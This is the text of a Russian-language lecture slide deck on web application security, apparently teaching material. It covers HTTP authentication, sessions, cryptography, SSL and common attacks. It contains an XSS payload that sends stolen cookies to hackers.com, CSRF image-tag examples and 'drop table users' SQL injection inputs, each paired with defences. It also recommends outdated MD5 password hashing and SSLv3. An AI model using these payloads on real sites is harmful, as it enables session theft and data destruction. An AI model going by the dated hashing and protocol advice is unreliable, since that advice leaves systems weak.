Безопасность Web приложений
Дмитрий Смаль
Авторизация в HTTP
Терминология
Аутентификация – процедура проверки подлинности.
Варианты: логин/пароль, одноразовые пароли, токены, открытые ключи, биометрия и т.д.
Терминология
Авторизация – предоставление субъекту прав на выполнение определенных действий.
Варианты: HTTP запрос по определенному URL, изменение объекта, чтение/запись/запуск файла.
Терминология
Кодирование – преобразование данных с целью передачи по определенному каналу связи.
Шифрование – преобразование данных с целью сокрытия информации от третьего лица.
HTTP Авторизация
1) СерверHTTP/1.1 401 UnauthorizedWWW-Authenticate: Basic realm=”admin”
2) Браузер показывает диалог ввода логина/пароля
3) БраузерAuthorization: Basic dXNlcjpwYXNzCg==
4) СерверПроверяет логин/парольHTTP/1.1 200 OKHTTP/1.1 403 Access Denied
HTTP Авторизация
В CGI скрипте – переменная REMOTE_USER
Нет операции “логаута”
Достоинства и недостатки
Настройка HTTP Авторизации
# nginxlocation / { auth_basic "closed site"; auth_basic_user_file conf/myhtpasswd;}
# Apache<Location /secure> AuthType basic AuthName "private area" AuthBasicProvider dbm AuthDBMType SDBM AuthDBMUserFile /www/etc/dbmpasswd Require valid-user</Location>
Авторизация в nginx
location / { satisfy any; allow 192.168.1.0/24; allow 2001:0db8::/32; deny all; auth_basic "closed site"; auth_basic_user_file conf/myhtpasswd;}
htpasswd – файл с паролями (зашифрованый)
htpasswd -m ./myhtpasswd user pass – добавить
htpasswd -D ./myhtpasswd user – удалить
Авторизация в web приложении
Cookies
1) Установка:Set-Cookie: name=value; Path=/page; Domain=mail.ru; Expires=Wed, 13-Jan-2021 22:23:01 GMT; Secure; HttpOnly
Secure – только по HTTPS (доступны через JS)HttpOnly – только по HTTP (не доступны через JS)
2) Получение:Cookie: name1=value1; name2=value2
3) В JavaScriptdocument.cookie = 'name=value; . . .';var cookie = document.cookie;
Cookies и proxy-кеш
/page/ – страница в кеше, в ней есть SSI:<!--# include virtual=”/auth/” -->
/auth/ - легкая страница не кешируется:<!--# set var=”Email” value=”[email protected]” --><!--# set var=”Name” value=”Pupkin” --><script>document.cookie='session=dsfskjdfwen32323rds';</script>
Set-Cookie и кеширование (proxy) не совместимы.
Профиль пользователя
Профиль – информация о пользователе
● id
● login
● пароль
● email, имя пользователя, пол и т.п.
● данные приложения
Профиль пользователя – не удаляется.
Хранится в СУБД или другом персистентном хранилище.
Сессия пользователя
Сессия – информация о подключении
● ключ сессии (то что в Cookie)
● данные сессии (id пользователя, корзина..)
● ip-адрес, дата создания сессии
Сессии устаревают и удаляются.
Сессия хранится в быстром, возможно ненадежном, хранилище, например Memcached
Пароли
Как хранить и передавать пароли?
● Не храните пароль в чистом виде. MD5.
● Не храните MD5 в чистом виде. Соль.
● Не используйте слово “Соль” в кач-ве соли.
● Не передавайте пароли в GET запросах.
● Не выводите пароли в логах сервера.
● Не выводите пароли на WWW страницу.
И вообще – очищайте память!
Сценарии работы web приложения
Регистрация (signup)
1) /signup_form → показываем форму регистрации (возможно генерируем CAPTCHA)
2) Пользователь заполняет форму, делает POST
3) /signup → регистрация пользователя
- проверить входные данные и captcha
- вычислить md5(пароль + соль)
- добавить запись в таблицу Users
- создать сессию (user_id = new_user.id)
- установить куку (session=new_session.key)
Аутентификация (signin, login)
1) /login_form → показываем форму логина
2) Пользователь заполняет форму, делает POST
3) /login → аутентификация пользователя
- загрузить пользователя из Users по login
- вычислить md5(пароль + соль)
- сравнить с тем, что хранится в БД
- нет пользователя или md5 не совпал → отказ
Аутентификация (2)
- создать сессию (user_id = user.id)
- установить куку (session=new_session.key)
- удалить старые сессии
Теперь у пользователя есть ключ, а у нас сессия
Авторизация
1) /any → пользователь делает любой запрос,
браузер передает Cookie: session=asHnjs732j...
2) Нет куки → /login_form (302 redirect)
3) Загружаем данные сессии по session
4) Нет сессии или устарела → /login_form
5) Обновляем дату использования сессии
6) Загружаем из Users информаци о пользователе по session.user_id
Теперь у нас есть объекты session и user!
Восстановление пароля
1) /restore_form → пользователь указывает email или login с которым он регистрировался
2) /send_restore → высылаем письмо
- создаем Ticket (key, user_id, дата)
- высылаем ticket.key на указанный email
3) Пользователь открывает письмо и переходит по ссылке
4) /restore/?key=shdf32ndfsdjf2434n → пользователь вводит новый пароль
Мы знаем, что пользователь обладает email.
Немного криптографии
Симметричное шифрование
1) Алиса и Боб обладают общим секретным ключом (K)
2) Алиса шифрует текст(Т) с помощью К, получает шифрограмму(Ш)
3) Алиса передает шифрограмму(Ш) по незащищенному каналу связи (TCP например)
4) Боб получает шифрограмму(Ш)
5) Боб расшифровывает ее с помощью ключа(К) и получает исходный текст
Симметричное шифрование
Плюсы: Быстро!
Минусы: Нужен общий ключ.
Примеры: AES, DES, Blowfish, ГОСТ 28147-89
Ассимметричное шифрование
Используется пара связанных ключей:
Открытый(public) – для шифрования
Закрытый(private) – для дешифрования
1) Алиса, используя открытый ключ Боба, создает шифрограмму и передает ее.
2) Боб, используя закрытый ключ, дешифрует ее и получает исходный текст.
Ассимметричное шифрование
Плюсы: открытый ключ
Минусы: скорость
Примеры: RSA, DSA, Elgamal
Сертификаты
fingerprint – хэш функция от публичного ключа
68:a6:77:eb:18:8f:b1:34:fe:81:f6:33:c3:02:31:93
Цифровой сертификат – цифровой документ, подтверждающий принадлежность владельцу публичного ключа (на некоторое время)
Каждый сертификат связан с центром сертификации, который его изготовил и подписал.
Сертификационные центры образуют иерархию. Корневые центры известны априори.
SSL
Secured Socket Layer – безопасное соединение
Свойства:
- аутентификация сервера
- опциональная аутентификация клиента
- шифрование канала передачи
- целосность сообщений (защита от изменений)
- поддерживает различные алгоритмы шифрования и обмена ключами
HTTPS – это HTTP поверх SSL (порт 443)
SSL
Настройка SSL
server { listen 443; keepalive_timeout 70;
ssl on; ssl_protocols SSLv3 TLSv1 TLSv1.1 TLSv1.2; ssl_ciphers AES128-SHA:AES256-SHA; ssl_certificate /usr/local/nginx/conf/cert.pem; ssl_certificate_key /usr/local/nginx/conf/cert.key; ssl_session_cache shared:SSL:10m; ssl_session_timeout 10m; ...}
Безопасность на стороне клиента
Same origin policy
Цель: исключить нежелательное взаимодействие между сторонними сайтами.
Сторонние сайты – сайты на разных доменах.
Общий принцип:
● данные установленные в одном домене будут видны только в нем
● браузер запрещает вызывать JS методы объектов из другого домена
● браузер запрещает кросдоменные запросы
SOP и Cookie
● У каждой cookie есть домен
● По умолчанию – это домен сайта, установившего куку
● Можно указать домен на 1 уровень короче текущего, например Domain=.mail.ru
● При всех запросах к домену site.group.com браузер отправляет куки только для домена site.group.com и .group.com
● JavaScript, выполняющийся на странице site.group.com имеет доступ к тем же кукам (за исключением HttpOnly)
SOP и DOM
● Странички (окна) могут ссылаться друг на друга (window.open, window.opener, etc..)
● Если у 2 страниц совпадают протокол, хост и порт (кроме IE) – эти страницы могут взаимодействовать через JS
● window.opener.body.innerHTML = 'Hello!'
● Если 2 страницы в смежных доменах (a.group.com и b.group.com) понизили домен до group.com – они могут взаимодействовать
● window.domain = 'group.com'; //обе страницы
● window.opener.someFunction('data');
SOP и AJAX
Все просто: у вас не получится сделать AJAX запрос на другой домен.
Альтернатива: JSONP
Запрос:<scrtipt src=”http://fail.com/?me=1 &callback=gotData”></script>
Ответ:gotData({ 'object' : { . . . } });
SOP и Flash
В отличие от JS, Flash ориентируется не на домен сайта, а на домен с которого был загружен flash-объект
Для того что бы полчить доступ к данным домена документа Flash загружает специальный файл – crossdomain.xml
<cross-domain-policy><allow-access-from
domain="*.mail.ru" to-ports="*"/><allow-http-request-headers-from
domain="*.mail.ru" headers="*"/><site-control
permitted-cross-domain-policies="all"/></cross-domain-policy>
SOP и Flash
Атаки на web приложение
XSS
Как внедрить:
- тэг <script>
- возможно, нужно разорвать верстку '”/>
- использовать протокол javascript:
Как бороться:
- экранированить выводимые данные, {{ var }}
- экранировать входные данные
- очищать входные данные (тэги и атрибуты)
- Использовать BBCodes [b] [i] [a] [img=...]
XSS - примеры
Безобидная шалость:<script>alert(1);</script>
Кража сессии (и как следсвтие авторизации):<script>var s = document.createElement('script');s.src = 'http://hackers.com/gotIt/?cookie' + encodeURIComponent(document.cookie);document.body.appendChild(s);</script>
CSRF
Cross Site Resource Forgery
Причина: браузер разрешает кросс-доменные GET запросы для изображений, JS, CSS
Размещаем на любом посещаемом сайте (blog.com):
В результате все посетители blog.com, которые авторизованы на victim.com совершат действия, о которых даже не будут знать.
<img src=”http://victim.com/post? message=wanna+kill+all+humans” /><img src=”http://victim.com/logout” />
CSRF – как бороться ?
● проверять метод запроса (только POST)
● проверять Referer (не надежно)
● использовать csrf_token
1) создаем длинный, новый для каждого пользователя/запроса ключ (токен)
2) устанавливаем этот ключ в Cookie
3) добавляем этот ключ к каждой форме на сайте victim.com
4) запросы с blog.com не будут содержать этот скрытый токен
SQL инъекции
SQL инъекции
SQL инъекции
Примеры:
Передаем id = 3; drop table users; и …
Передаем n = bla'; drop table users; и …
id = request.REQUEST['id']sql = 'select * from P where id = ' + id
n = request.REQUEST['name']sql = “select * from U where name = '%s'” % n
SQL инъекции
Как бороться:
● использовать placeholders
● использовать квотирование
● использовать ORM
SQL сервера имеют свою защиту:
● запрещают несколько запросов в одном пакете
sql = 'select * from U where id = ?'
sql = 'select * from U where id = ' + quote_sql(id)
Fishing + OpenRedirect
Спасибо за вниманиеДмитрий Смаль, [email protected]
Recommended